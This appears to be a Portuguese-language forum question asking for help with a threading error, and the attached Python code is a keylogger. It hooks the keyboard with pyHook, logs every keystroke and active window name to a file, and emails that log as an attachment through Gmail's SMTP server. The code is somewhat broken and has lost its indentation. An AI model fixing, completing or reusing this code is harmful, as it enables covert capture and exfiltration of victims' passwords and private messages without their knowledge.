Tenho um código e preciso usar threads, mas sempre como rodo as threads dá esse erro.
import pyHook
import pythoncom
import os
import threading
import time
import tempfile
import datetime
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
def function(event, janela):
arquivo = open('log.txt', 'a')
with open(arquivo, 'a') as stream:
if event.WindowsName != janela:
janela = event.WindowsName
stream.write('\n' + janela + ' - ' + str(event.Time) + '\n')
stream.write(chr(event.Ascii))
return janela
def pump():
hook = pyHook.HookManager()
hook.KeyDown = function
hook.HookKeyboard()
pythoncom.PumpMessages()
def send_email(arquivo):
time.sleep(5)
email_user = ''
email_password = ''
email_send = ''
subject = '' + str(datetime.date.today())
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = '[*] Logs file uploaded successfully!'
msg.attach(MIMEText(body, 'plain'))
filename = arquivo
attachment = open(arquivo, 'rb')
part = MIMEBase('application', 'octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', "attachment; filename= " + filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(email_user, email_password)
server.sendmail(email_user, email_send, text)
server.quit()
w1 = threading.Thread(target=send_email(), args=[])
w = threading.Thread(target=pump())
w.start()
w1.start()